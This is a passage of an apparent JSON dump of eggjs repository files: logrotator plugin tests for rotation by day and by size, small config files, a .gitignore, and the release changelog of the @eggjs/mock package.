'logrotator-web.log'))).toBe(false);\n    // expect(fs.existsSync(path.join(logDir, `common-error.log.${date}`))).toBe(true);\n    // expect(fs.existsSync(path.join(logDir, 'common-error.log'))).toBe(false);\n\n    const content = fs.readFileSync(path.join(logDir, `egg-web.log`), 'utf8');\n    expect(content).toMatch(/rotate files success by DayRotator/);\n\n    // run again should work\n    await app.runSchedule(schedule);\n  });\n\n  it.skip('should error when rename to existed file', async () => {\n    const file1 = path.join(app.config.logger.dir, 'foo1.log');\n    const file2 = path.join(app.config.logger.dir, `foo1.log.${now.clone().subtract(1, 'days').format('YYYY-MM-DD')}`);\n    fs.writeFileSync(file1, 'foo');\n    fs.writeFileSync(file2, 'foo');\n    let msg = '';\n    mm(app.coreLogger, 'error', (err: Error) => {\n      msg = err.message;\n    });\n    await app.runSchedule(schedule);\n    expect(msg).toBe(`[@eggjs/logrotator] rename ${file1}, found exception: targetFile ${file2} exists!!!`);\n  });\n\n  it.skip('should error when rename error', async () => {\n    const file1 = path.join(app.config.logger.dir, 'foo1.log');\n    fs.writeFileSync(file1, 'foo');\n    mm(app.coreLogger, 'error', (err: Error) => {\n      expect(err.message).toMatch(/^\\[@eggjs\\/logrotator\\] rename .*?, found exception: rename error$/);\n    });\n    mm(fsPromises, 'rename', async () => {\n      throw new Error('rename error');\n    });\n    await app.runSchedule(schedule);\n  });\n\n  it('should mock unlink file error', async () => {\n    mm(fsPromises, 'unlink', async () => {\n      throw new Error('mock unlink error');\n    });\n    fs.writeFileSync(\n      path.join(app.config.logger.dir, `foo.log.${now.clone().subtract(33, 'days').format('YYYY-MM-DD')}`),\n      'foo',\n    );\n    await app.runSchedule(schedule);\n    expect(\n      fs.existsSync(\n        path.join(app.config.logger.dir, `foo.log.${now.clone().subtract(33, 'days').format('YYYY-MM-DD')}`),\n      ),\n    ).toBe(true);\n  });\n\n  it('should mock readdir error', async () => {\n    mm(fsPromises, 'readdir', async () => {\n      throw new Error('mock readdir error');\n    });\n    fs.writeFileSync(\n      path.join(app.config.logger.dir, `foo.log.${now.clone().subtract(33, 'days').format('YYYY-MM-DD')}`),\n      'foo',\n    );\n    await app.runSchedule(schedule);\n    expect(\n      fs.existsSync(\n        path.join(app.config.logger.dir, `foo.log.${now.clone().subtract(33, 'days').format('YYYY-MM-DD')}`),\n      ),\n    ).toBe(true);\n  });\n\n  it('should ignore logPath in filesRotateBySize', async () => {\n    await app.runSchedule(schedule);\n    const logDir = app.config.logger.dir;\n    const date = now.clone().subtract(1, 'days').format('YYYY-MM-DD');\n    expect(fs.existsSync(path.join(logDir, `size.log.${date}`))).toBe(false);\n  });\n\n  it('should ignore logPath in filesRotateByHour', async () => {\n    await app.runSchedule(schedule);\n    const logDir = app.config.logger.dir;\n    const date = now.clone().subtract(1, 'days').format('YYYY-MM-DD');\n    expect(fs.existsSync(path.join(logDir, `hour.log.${date}`))).toBe(false);\n  });\n\n  it('should not error when Map extend', async () => {\n    // oxlint-disable-next-line typescript/no-explicit-any, no-extend-native\n    (Map.prototype as any).test = () => {\n      console.log('test Map extend');\n    };\n    await app.runSchedule(schedule);\n  });\n});\n"
  },
  {
    "path": "plugins/logrotator/test/rotate_by_size.test.ts",
    "content": "import fs from 'node:fs';\nimport fsPromises from 'node:fs/promises';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, beforeEach, afterEach, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('rotate_by_size', () => {\n  let mockfile: string;\n  let app: MockApplication;\n  const schedule = path.join(import.meta.dirname, '../src/app/schedule/rotate_by_size.ts');\n  beforeEach(() => {\n    app = mm.app({\n      baseDir: getFixtures('logrotator-app-size'),\n    });\n    return app.ready();\n  });\n  beforeEach(() => {\n    mockfile = path.join(app.config.logger.dir, 'egg-web.log');\n  });\n  afterEach(() => app.close());\n  afterEach(mm.restore);\n\n  it('should rotate by size', async () => {\n    fs.writeFileSync(mockfile, 'mock log text');\n    await app.runSchedule(schedule);\n    await scheduler.wait(100);\n    expect(fs.existsSync(`${mockfile}.1`)).toBe(true);\n  });\n\n  it('should keep maxFiles file only', async () => {\n    fs.writeFileSync(mockfile, 'mock log text');\n    // rotate first\n    await app.runSchedule(schedule);\n    await scheduler.wait(100);\n\n    // files second\n    fs.writeFileSync(mockfile, 'mock log text');\n    await app.runSchedule(schedule);\n\n    await scheduler.wait(100);\n\n    // files third\n    fs.writeFileSync(mockfile, 'mock log text');\n    await app.runSchedule(schedule);\n    await scheduler.wait(100);\n    expect(fs.existsSync(`${mockfile}.1`)).toBe(true);\n    if (process.platform !== 'win32') {\n      // test fail on windows\n      expect(fs.existsSync(`${mockfile}.2`)).toBe(true);\n    }\n    expect(fs.existsSync(`${mockfile}.3`)).toBe(false);\n  });\n\n  it.skip('should error when stat error', async () => {\n    fs.writeFileSync(mockfile, 'mock log text');\n    mm(fsPromises, 'stat', async () => {\n      throw new Error('stat error');\n    });\n    let msg = '';\n    mm(app.coreLogger, 'error', (err: Error) => {\n      msg = err.message;\n    });\n    await app.runSchedule(schedule);\n    expect(msg).toBe('[egg-logrotator] stat error');\n  });\n\n  it('should not great than maxFileSize', async () => {\n    fs.rmSync(`${mockfile}.1`, { force: true });\n    fs.writeFileSync(mockfile, '');\n    await app.runSchedule(schedule);\n    await app.runSchedule(schedule);\n    // console.log(fs.readdirSync(path.dirname(mockfile)));\n    expect(fs.existsSync(`${mockfile}.1`)).toBe(true);\n  });\n});\n"
  },
  {
    "path": "plugins/logrotator/test/utils.ts",
    "content": "import path from 'node:path';\n\nexport function getFixtures(name: string): string {\n  return path.join(import.meta.dirname, 'fixtures', name);\n}\n"
  },
  {
    "path": "plugins/logrotator/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "plugins/logrotator/vitest.config.ts",
    "content": "import { defineProject } from 'vitest/config';\n\nexport default defineProject({\n  test: {\n    testTimeout: 20000,\n    hookTimeout: 20000,\n  },\n});\n"
  },
  {
    "path": "plugins/mock/.gitignore",
    "content": "node_modules/\ncoverage/\nlogs/\n!test/fixtures/apps/app-not-clean/logs/keep\n!test/fixtures/yadan/node_modules\n!test/fixtures/yadan_*/node_modules\nrun/\n.vscode\n.idea\n.nyc_output\npackage-lock.json\n.package-lock.json\n.tshy*\n.eslintcache\ndist\n.egg\n"
  },
  {
    "path": "plugins/mock/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 7.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [6.0.7](https://github.com/eggjs/mock/compare/v6.0.6...v6.0.7) (2025-02-08)\n\n\n### Bug Fixes\n\n* app.mockContext() should return egg context instance ([#186](https://github.com/eggjs/mock/issues/186)) ([940f321](https://github.com/eggjs/mock/commit/940f321abd2f46b4ea795761e0a420c280003b01))\n\n## [6.0.6](https://github.com/eggjs/mock/compare/v6.0.5...v6.0.6) (2025-02-04)\n\n\n### Bug Fixes\n\n* type defines ([#185](https://github.com/eggjs/mock/issues/185)) ([df4208c](https://github.com/eggjs/mock/commit/df4208c1c4ead35ee0d46d4e95a3ef11083b19c8))\n\n## [6.0.5](https://github.com/eggjs/mock/compare/v6.0.4...v6.0.5) (2025-01-02)\n\n\n### Bug Fixes\n\n* remove ContextDelegation ([#183](https://github.com/eggjs/mock/issues/183)) ([f4051d0](https://github.com/eggjs/mock/commit/f4051d03e45f2a4a55e5294a74e6b254200260e9))\n\n## [6.0.4](https://github.com/eggjs/mock/compare/v6.0.3...v6.0.4) (2025-01-01)\n\n\n### Bug Fixes\n\n* add startMode types ([#182](https://github.com/eggjs/mock/issues/182)) ([c9b8aca](https://github.com/eggjs/mock/commit/c9b8aca67aef8e79f61ab3c2451aee7314d1b353))\n\n## [6.0.3](https://github.com/eggjs/mock/compare/v6.0.2...v6.0.3) (2024-12-29)\n\n\n### Bug Fixes\n\n* add urllib to dependencies ([#181](https://github.com/eggjs/mock/issues/181)) ([d56e49d](https://github.com/eggjs/mock/commit/d56e49d3ad6a6f5b2c3f9f7405de71d8afe10615))\n\n## [6.0.2](https://github.com/eggjs/mock/compare/v6.0.1...v6.0.2) (2024-12-29)\n\n\n### Bug Fixes\n\n* set bootstrap app to global ([#180](https://github.com/eggjs/mock/issues/180)) ([4e1525c](https://github.com/eggjs/mock/commit/4e1525ced57d2596058ca102e66baf2f43f12e4f))\n\n## [6.0.1](https://github.com/eggjs/mock/compare/v6.0.0...v6.0.1) (2024-12-29)\n\n\n### Bug Fixes\n\n* support simple test on normal app ([#179](https://github.com/eggjs/mock/issues/179)) ([3b0957f](https://github.com/eggjs/mock/commit/3b0957fd33a638d8c505dd09ba47323f1d006a8a))\n\n## [6.0.0](https://github.com/eggjs/mock/compare/v5.15.1...v6.0.0) (2024-12-29)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n### Features\n\n* support cjs and esm both by tshy ([#178](https://github.com/eggjs/mock/issues/178)) ([674b1ca](https://github.com/eggjs/mock/commit/674b1ca2d3b2d978ca8176b46b03a0f53f65939a))\n\n## [5.15.1](https://github.com/eggjs/egg-mock/compare/v5.15.0...v5.15.1) (2024-12-12)\n\n\n### Bug Fixes\n\n* try to use urllib4 ([#177](https://github.com/eggjs/egg-mock/issues/177)) ([c8551b9](https://github.com/eggjs/egg-mock/commit/c8551b98f044c7315a67f579cc2c1b4f5dde73c4))\n\n## [5.15.0](https://github.com/eggjs/egg-mock/compare/v5.14.0...v5.15.0) (2024-12-10)\n\n\n### Features\n\n* use @eggjs/utils ([#176](https://github.com/eggjs/egg-mock/issues/176)) ([48000cb](https://github.com/eggjs/egg-mock/commit/48000cb468fd25ac258d728ecc9afca21a8f6284))\n\n## [5.14.0](https://github.com/eggjs/egg-mock/compare/v5.13.0...v5.14.0) (2024-12-09)\n\n\n### Features\n\n* detect-port@2, is-type-of@2, get-ready@3 ([#175](https://github.com/eggjs/egg-mock/issues/175)) ([0364af8](https://github.com/eggjs/egg-mock/commit/0364af8d87237bc6c08e2f9306945daa1d9144c9))\n\n## [5.13.0](https://github.com/eggjs/egg-mock/compare/v5.12.5...v5.13.0) (2024-12-07)\n\n\n### Features\n\n* mv urllib to peerDependencies ([#174](https://github.com/eggjs/egg-mock/issues/174)) ([df7dc48](https://github.com/eggjs/egg-mock/commit/df7dc48be38f7f323f91213aa3ce3bd5e7879a58))\n\n## [5.12.5](https://github.com/eggjs/egg-mock/compare/v5.12.4...v5.12.5) (2024-07-05)\n\n\n### Bug Fixes\n\n* should run restore in the current event loop ([#172](https://github.com/eggjs/egg-mock/issues/172)) ([1f9fc01](https://github.com/eggjs/egg-mock/commit/1f9fc0179ac524cbeb0532b92783233c0274ce71))\n\n## [5.12.4](https://github.com/eggjs/egg-mock/compare/v5.12.3...v5.12.4) (2024-07-04)\n\n\n### Bug Fixes\n\n* should reset agent on restore ([#171](https://github.com/eggjs/egg-mock/issues/171)) ([088ac41](https://github.com/eggjs/egg-mock/commit/088ac41d96daecf62c544ca954812d3721ac06cc))\n\n## [5.12.3](https://github.com/eggjs/egg-mock/compare/v5.12.2...v5.12.3) (2024-07-02)\n\n\n### Bug Fixes\n\n* don't close used mock agent ([#170](https://github.com/eggjs/egg-mock/issues/170)) ([3e7a504](https://github.com/eggjs/egg-mock/commit/3e7a5044e3a687c8accbfc9f8a60c469bf4fdad6))\n\n## [5.12.2](https://github.com/eggjs/egg-mock/compare/v5.12.1...v5.12.2) (2024-07-02)\n\n\n### Bug Fixes\n\n* export mockHttpClient types ([#169](https://github.com/eggjs/egg-mock/issues/169)) ([ddab25f](https://github.com/eggjs/egg-mock/commit/ddab25f1b06e1e513c2dd523bf7d773970d37031))\n\n## [5.12.1](https://github.com/eggjs/egg-mock/compare/v5.12.0...v5.12.1) (2024-07-02)\n\n\n### Bug Fixes\n\n* support httpclient mock on allowH2 = true ([#168](https://github.com/eggjs/egg-mock/issues/168)) ([3a434bb](https://github.com/eggjs/egg-mock/commit/3a434bb6a90c98b957b6d92e059c09297bf7cf18))\n\n## [5.12.0](https://github.com/eggjs/egg-mock/compare/v5.11.0...v5.12.0) (2024-06-02)\n\n\n### Features\n\n* change backgroundTasksFinished method from private to public ([#163](https://github.com/eggjs/egg-mock/issues/163)) ([86b4d45](https://github.com/eggjs/egg-mock/commit/86b4d452f0e5e851e8fd550a74f244c91de5c093))\n\n## [5.11.0](https://github.com/eggjs/egg-mock/compare/v5.10.9...v5.11.0) (2024-06-02)\n\n\n### Features\n\n* use egg-logger@3 and sdk-base@4 ([#167](https://github.com/eggjs/egg-mock/issues/167)) ([e02e72e](https://github.com/eggjs/egg-mock/commit/e02e72ef561ae029be3671ebf2a8e37ad06dc2d1))\n\n## [5.10.9](https://github.com/eggjs/egg-mock/compare/v5.10.8...v5.10.9) (2023-11-08)\n\n\n### Bug Fixes\n\n* allow to call mockHttpclient multi times ([#165](https://github.com/eggjs/egg-mock/issues/165)) ([370e42d](https://github.com/eggjs/egg-mock/commit/370e42d777d89dcfde1773db6404284439b38725))\n\n## [5.10.8](https://github.com/eggjs/egg-mock/compare/v5.10.7...v5.10.8) (2023-06-21)\n\n\n### Bug Fixes\n\n* fix mocha failed title for inject_ctx ([#162](https://github.com/eggjs/egg-mock/issues/162)) ([f6f59ac](https://github.com/eggjs/egg-mock/commit/f6f59ac48789fb2c81dfd3025b626c2ed4090a36))\n\n## [5.10.7](https://github.com/eggjs/egg-mock/compare/v5.10.6...v5.10.7) (2023-05-29)\n\n\n### Bug Fixes\n\n* set types to index.d.ts ([#161](https://github.com/eggjs/egg-mock/issues/161)) ([7de47a1](https://github.com/eggjs/egg-mock/commit/7de47a1e6bb8d4d003b93c130d1e08c7ac0c8bf7))\n\n## [5.10.6](https://github.com/eggjs/egg-mock/compare/v5.10.5...v5.10.6) (2023-02-22)\n\n\n### Bug Fixes\n\n* disable app close on parallel ([#160](https://github.com/eggjs/egg-mock/issues/160)) ([5a08d33](https://github.com/eggjs/egg-mock/commit/5a08d33ffcbc047ef374a5ab99bee00ad5675808))\n\n## [5.10.5](https://github.com/eggjs/egg-mock/compare/v5.10.4...v5.10.5) (2023-02-16)\n\n\n### Bug Fixes\n\n* should close app on afterAll hook ([#158](https://github.com/eggjs/egg-mock/issues/158)) ([081b157](https://github.com/eggjs/egg-mock/commit/081b1574c31cfe274083b21a1e11bc81304ab1d5))\n\n## [5.10.4](https://github.com/eggjs/egg-mock/compare/v5.10.3...v5.10.4) (2023-01-31)\n\n\n### Bug Fixes\n\n* use symbol to access suite app ([#156](https://github.com/eggjs/egg-mock/issues/156)) ([a130dd3](https://github.com/eggjs/egg-mock/commit/a130dd307258df540b65b6d445b56681f69d9232))\n\n## [5.10.3](https://github.com/eggjs/egg-mock/compare/v5.10.2...v5.10.3) (2023-01-30)\n\n\n### Bug Fixes\n\n* inject failed should make suite/test failed ([#154](https://github.com/eggjs/egg-mock/issues/154)) ([f9f2d4c](https://github.com/eggjs/egg-mock/commit/f9f2d4c5184b2fd2a60485d9333bfefb2c42fabb))\n\n## [5.10.2](https://github.com/eggjs/egg-mock/compare/v5.10.1...v5.10.2) (2023-01-30)\n\n\n### Bug Fixes\n\n* make sure app ready on parallel mode ([#155](https://github.com/eggjs/egg-mock/issues/155)) ([83c600e](https://github.com/eggjs/egg-mock/commit/83c600e8cb8139a232f1066c2925562574102dbe))\n\n## [5.10.1](https://github.com/eggjs/egg-mock/compare/v5.10.0...v5.10.1) (2023-01-29)\n\n\n### Bug Fixes\n\n* fix mockContext with headers ([#153](https://github.com/eggjs/egg-mock/issues/153)) ([5e3e816](https://github.com/eggjs/egg-mock/commit/5e3e816395d8be37548d4bb72c3e3dc2d098bee1))\n\n## [5.10.0](https://github.com/eggjs/egg-mock/compare/v5.9.4...v5.10.0) (2023-01-28)\n\n\n### Features\n\n* add default ua egg-mock/${version} ([#151](https://github.com/eggjs/egg-mock/issues/151)) ([ccb28f5](https://github.com/eggjs/egg-mock/commit/ccb28f5a99148528459f1f8b120254f3feb64561))\n* impl setGetAppCallback ([#152](https://github.com/eggjs/egg-mock/issues/152)) ([b7d902c](https://github.com/eggjs/egg-mock/commit/b7d902cf990ee90181f24e9722f42560858118eb))\n\n## [5.9.4](https://github.com/eggjs/egg-mock/compare/v5.9.3...v5.9.4) (2023-01-18)\n\n\n### Bug Fixes\n\n* use originalUrl to check mock call function request ([#149](https://github.com/eggjs/egg-mock/issues/149)) ([abe1c07](https://github.com/eggjs/egg-mock/commit/abe1c07a2abb4b98c37a34725e4917caafe6dc7e))\n\n## [5.9.3](https://github.com/eggjs/egg-mock/compare/v5.9.2...v5.9.3) (2023-01-18)\n\n\n### Bug Fixes\n\n* every it should has self ctx ([#150](https://github.com/eggjs/egg-mock/issues/150)) ([bf33c1c](https://github.com/eggjs/egg-mock/commit/bf33c1cbde00b0f10d49184bda305c2c98a58401))\n\n## [5.9.2](https://github.com/eggjs/egg-mock/compare/v5.9.1...v5.9.2) (2023-01-17)\n\n\n### Bug Fixes\n\n* mocha should be peer deps ([#148](https://github.com/eggjs/egg-mock/issues/148)) ([9a5fcca](https://github.com/eggjs/egg-mock/commit/9a5fcca1ff19f2bc7d74a8122becc1bf0ddfe89d))\n\n## [5.8.4](https://github.com/eggjs/egg-mock/compare/v5.8.3...v5.8.4) (2023-01-12)\n\n\n### Bug Fixes\n\n* only await app ready when app exists ([#145](https://github.com/eggjs/egg-mock/issues/145)) ([f4ed458](https://github.com/eggjs/egg-mock/commit/f4ed458441449da70fd4108747377b7890dc08fb))\n\n## [5.8.3](https://github.com/eggjs/egg-mock/compare/v5.8.2...v5.8.3) (2023-01-11)\n\n\n### Bug Fixes\n\n* app should wait for agent ready on parallel mode ([#144](https://github.com/eggjs/egg-mock/issues/144)) ([205e836](https://github.com/eggjs/egg-mock/commit/205e836ba11a869da208c441a9b90edd6e61b3b1))\n\n## [5.8.2](https://github.com/eggjs/egg-mock/compare/v5.8.1...v5.8.2) (2023-01-10)\n\n\n### Bug Fixes\n\n* ignore bootstrap error on non egg project ([#142](https://github.com/eggjs/egg-mock/issues/142)) ([880c282](https://github.com/eggjs/egg-mock/commit/880c282481024005456074a123b4b1f185971f4c))\n\n## [5.8.1](https://github.com/eggjs/egg-mock/compare/v5.8.0...v5.8.1) (2023-01-09)\n\n\n### Bug Fixes\n\n* add register.js to files ([#141](https://github.com/eggjs/egg-mock/issues/141)) ([a87e801](https://github.com/eggjs/egg-mock/commit/a87e8019724dbb2401bd41ccf95be26c571e8e8f))\n\n## [5.8.0](https://github.com/eggjs/egg-mock/compare/v5.7.1...v5.8.0) (2023-01-09)\n\n\n### Features\n\n* use mocha global hook to register before/after ([#140](https://github.com/eggjs/egg-mock/issues/140)) ([9ef65de](https://github.com/eggjs/egg-mock/commit/9ef65de3382c15c5fdeff2e8d0b14eed8144a41b))\n\n## [5.7.1](https://github.com/eggjs/egg-mock/compare/v5.7.0...v5.7.1) (2023-01-07)\n\n\n### Bug Fixes\n\n* should add egg to peerDependencies ([#139](https://github.com/eggjs/egg-mock/issues/139)) ([2134fc7](https://github.com/eggjs/egg-mock/commit/2134fc73661e4c2de433aceda2ea45811c8bff8b))\n\n## [5.7.0](https://github.com/eggjs/egg-mock/compare/v5.6.0...v5.7.0) (2023-01-03)\n\n\n### Features\n\n* remove power-assert ([#138](https://github.com/eggjs/egg-mock/issues/138)) ([0c9fad2](https://github.com/eggjs/egg-mock/commit/0c9fad2f7a6f739080f2b996d8f6bb98852af12a))\n\n## [5.6.0](https://github.com/eggjs/egg-mock/compare/v5.5.0...v5.6.0) (2023-01-03)\n\n\n### Features\n\n* upgrade globby to v11 ([#137](https://github.com/eggjs/egg-mock/issues/137)) ([b0af3eb](https://github.com/eggjs/egg-mock/commit/b0af3eb471a394448236e4cb18863e60218e0d2a))\n\n## [5.5.0](https://github.com/eggjs/egg-mock/compare/v5.4.0...v5.5.0) (2022-12-28)\n\n\n### Features\n\n* add mockContextScope ([#136](https://github.com/eggjs/egg-mock/issues/136)) ([9db9afa](https://github.com/eggjs/egg-mock/commit/9db9afaadfb73a58d03b3cbdbd0c8c6515e6578a))\n\n---\n\n\n5.4.0 / 2022-12-14\n==================\n\n**features**\n  * [[`0bd71bc`](http://github.com/eggjs/egg-mock/commit/0bd71bc732b430f679854cceb5017238aca67f38)] - 📦 NEW: Allow restore mockAgent only (#134) (fengmk2 <<fengmk2@gmail.com>>)\n\n5.3.0 / 2022-12-09\n==================\n\n**features**\n  * [[`6608f01`](http://github.com/eggjs/egg-mock/commit/6608f01983b6891fad2eea758e426bb205dff117)] - 📦 NEW: mock context support ctxStorage (#133) (fengmk2 <<fengmk2@gmail.com>>)\n\n5.2.1 / 2022-11-11\n==================\n\n**fixes**\n  * [[`18c366d`](http://github.com/eggjs/egg-mock/commit/18c366d4d8f110e8b5e166bb4109be6659f59dd2)] - fix: use global hook for register global hook (#132) (killa <<killa123@126.com>>)\n\n5.2.0 / 2022-11-08\n==================\n\n**features**\n  * [[`209c921`](http://github.com/eggjs/egg-mock/commit/209c921cd07eeb541793d5eb28a4982c891ef337)] - feat: add EGG_FRAMEWORK for bootstrap custom framework (#131) (killa <<killa123@126.com>>)\n\n5.1.0 / 2022-11-04\n==================\n\n**features**\n  * [[`22f508c`](http://github.com/eggjs/egg-mock/commit/22f508cba2f6330172db89efde3a678ed35c5258)] - feat: impl parallel app for mocha parallel mode (#130) (killa <<killa123@126.com>>)\n\n5.0.2 / 2022-10-09\n==================\n\n**fixes**\n  * [[`299f7ec`](http://github.com/eggjs/egg-mock/commit/299f7ecc7314737c182c1745fce0d32c61cd657d)] - 🐛 FIX: Should use urllib-next package (#129) (fengmk2 <<fengmk2@gmail.com>>)\n\n**others**\n  * [[`17a6713`](http://github.com/eggjs/egg-mock/commit/17a6713663555f55832c12fa12c68803a59aa925)] - 🤖 TEST: Add httpclient streaming mocking (#128) (fengmk2 <<fengmk2@gmail.com>>)\n\n5.0.1 / 2022-09-29\n==================\n\n**features**\n  * [[`ae766ff`](http://github.com/eggjs/egg-mock/commit/ae766ff582a3e14a28b97e15bad5a56efcb542bc)] - 👌 IMPROVE: Mock httpclient support delay ms and repeat times (#127) (fengmk2 <<fengmk2@gmail.com>>)\n\n5.0.0 / 2022-09-29\n==================\n\n**features**\n  * [[`60658ec`](http://github.com/eggjs/egg-mock/commit/60658ecae4a16ac1e52dc3238c279a61262f4620)] - 📦 NEW: [BREAKING] Support egg 3.0 (#126) (fengmk2 <<fengmk2@gmail.com>>)\n\n4.2.1 / 2022-05-17\n==================\n\n**features**\n  * [[`983e610`](http://github.com/eggjs/egg-mock/commit/983e6106b3047f3c0b8d1871fecf4b851cb3000a)] - feat: allow other envtype (#125) (吖猩 <<whx89768@alibaba-inc.com>>)\n\n**others**\n  * [[`bb9cb79`](http://github.com/eggjs/egg-mock/commit/bb9cb79dbd3d8999cc887d1f0ea952b5df449086)] - 📖 DOC: Change ci status badge (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`cd1f2db`](http://github.com/eggjs/egg-mock/commit/cd1f2dbd08683e60b31b83e3406c32a823124704)] - 📖 DOC: Update contributors (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`74c0d8f`](http://github.com/eggjs/egg-mock/commit/74c0d8f5a9532fa9e3b3f1c29ad27b59d46ea984)] - Create codeql-analysis.yml (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`6bcc866`](http://github.com/eggjs/egg-mock/commit/6bcc8660a94c761dbdcee0a09bcd6d06e8441f49)] - 🤖 TEST: Fix assert cases (#124) (fengmk2 <<fengmk2@gmail.com>>)\n\n4.2.0 / 2021-12-17\n==================\n\n**features**\n  * [[`b45ad40`](http://github.com/eggjs/egg-mock/commit/b45ad40dd572977986cd86220f090d28c1268b70)] - feat: add mockLog, expectLog to type define (#121) (fengmk2 <<fengmk2@gmail.com>>)\n\n4.1.0 / 2021-04-05\n==================\n\n**features**\n  * [[`ce6ecde`](https://github.com/eggjs/egg-mock.git/commit/ce6ecde700a81ce986347834dbd2dc2d48217f88)] - feat: add consoleLogger error when mockApp init error (mansonchor.github.com <<mansonchor1987@gmail.com>>)\n\n**others**\n  * [[`e7c73e3`](https://github.com/eggjs/egg-mock.git/commit/e7c73e37814b6c9041f37bbcd92b3bb7c35758b3)] - build: remove node@6 (dead-horse <<dead_horse@qq.com>>)\n\n4.0.1 / 2020-08-19\n==================\n\n**features**\n  * [[`d5e584e`](http://github.com/eggjs/egg-mock/commit/d5e584e769dd348bc87a99a90f0a6003dfc7a4cf)] - feat: httpclient support mock async function (#117) (Yiyu He <<dead_horse@qq.com>>)\n\n4.0.0 / 2020-03-01\n==================\n\n**features**\n  * [[`c39109f`](http://github.com/eggjs/egg-mock/commit/c39109faa0eff01d8597c3988c04459c3520f309)] - feat: upgrade mm@3 (#116) (Yiyu He <<dead_horse@qq.com>>)\n\n3.25.1 / 2020-01-17\n==================\n\n**fixes**\n  * [[`51ef091`](http://github.com/eggjs/egg-mock/commit/51ef091cbb06ae74ff7f9591e3071db648ba5346)] - fix: backgroundTasksFinished ensure all tasks finished (#115) (Yiyu He <<dead_horse@qq.com>>)\n\n3.25.0 / 2019-12-12\n==================\n\n**features**\n  * [[`4c31c9e`](http://github.com/eggjs/egg-mock/commit/4c31c9e2917eea449e2afddf96fc8d2aabe6ad5e)] - feat: support init hook before mock app init (#109) (TZ | 天猪 <<atian25@qq.com>>)\n\n**fixes**\n  * [[`cbab52a`](http://github.com/eggjs/egg-mock/commit/cbab52a697e6e47abd48ce45320b7c40a0463c12)] - fix: enable sendRandom() method in unittest (#114) (GoodMeowing <<36814673+GoodMeowing@users.noreply.github.com>>)\n\n3.24.2 / 2019-11-07\n==================\n\n**fixes**\n  * [[`3bf5ded`](http://github.com/eggjs/egg-mock/commit/3bf5ded501608f2b5b3199d8b3d0ca0329dd9df7)] - fix: mockLog don't read file (#113) (Yiyu He <<dead_horse@qq.com>>)\n\n3.24.1 / 2019-09-30\n==================\n\n**fixes**\n  * [[`bd305d2`](http://github.com/eggjs/egg-mock/commit/bd305d21bd54395e597f3fce06758fcbb99ba43f)] - fix: single mode will call app.agent.close (#108) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.24.0 / 2019-09-26\n==================\n\n**features**\n  * [[`315e685`](http://github.com/eggjs/egg-mock/commit/315e685d2059ec61e62e9109da8b58f9bf5552cd)] - feat: support app.notExpectLog() (#107) (fengmk2 <<fengmk2@gmail.com>>)\n\n3.23.2 / 2019-09-10\n==================\n\n**fixes**\n  * [[`e494325`](http://github.com/eggjs/egg-mock/commit/e494325562b84876a96062fd061ab4f8c7787a2e)] - fix: mockHttpclient with multi-request (#106) (吖猩 <<whx89768@alibaba-inc.com>>)\n  * [[`d836536`](http://github.com/eggjs/egg-mock/commit/d8365368e2339f25874a7dfc1c573249ae841e8f)] - fix: fix httpRequest function signature (#105) (Colin Cheng <<zbinlin@gmail.com>>)\n\n3.23.1 / 2019-05-20\n==================\n\n**fixes**\n  * [[`6be0c43`](http://github.com/eggjs/egg-mock/commit/6be0c431ee1fd651c4f0bb6f433d7c4444b74708)] - fix: rimraf (#104) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.23.0 / 2019-05-20\n==================\n\n**features**\n  * [[`9ada7f0`](http://github.com/eggjs/egg-mock/commit/9ada7f004def359a0b17f3824cea946abe4ed1f2)] - feat: mockHttpclient support fn (#103) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.22.4 / 2019-05-06\n==================\n\n**fixes**\n  * [[`478581a`](http://github.com/eggjs/egg-mock/commit/478581a7851d19286c4e689af421a70cae27d26d)] - fix: remove egg-core deps (#101) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.22.3 / 2019-05-06\n==================\n\n**fixes**\n  * [[`6174f9b`](http://github.com/eggjs/egg-mock/commit/6174f9b37698399785b99e86f2f45630f78a084f)] - fix: throw error when an egg plugin test is using bootstrap (#100) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.22.2 / 2019-04-10\n==================\n\n**fixes**\n  * [[`a68ca65`](http://github.com/eggjs/egg-mock/commit/a68ca6549428e6c4dc886231d7c6b7fbefab46c6)] - fix: should emit server (#98) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.22.1 / 2019-03-12\n==================\n\n**fixes**\n  * [[`3f73bad`](http://github.com/eggjs/egg-mock/commit/3f73bad59aa8acbb14399a914d31b8eb348ff493)] - fix: d.ts typo (#97) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.22.0 / 2019-03-11\n==================\n\n**features**\n  * [[`81ed542`](http://github.com/eggjs/egg-mock/commit/81ed5427853067d84901c1848e630a8002ecfcf0)] - feat: add mock API for customLoader (#95) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n**fixes**\n  * [[`58d0b32`](http://github.com/eggjs/egg-mock/commit/58d0b32a5851e4cd31492fe0e85c0e81336b6d04)] - fix:  remove nonexistent type and correct typing (#96) (Sinux <<askb@me.com>>)\n\n3.21.0 / 2018-12-27\n===================\n\n  **features**\n    * [[`93f8009`](https://github.com/eggjs/egg-mock/commit/93f8009c2f4c7d7f24b361f4713e035a2f993134)] - feat: cluster mock support result (#92) (TZ <<atian25@qq.com>>)\n    * 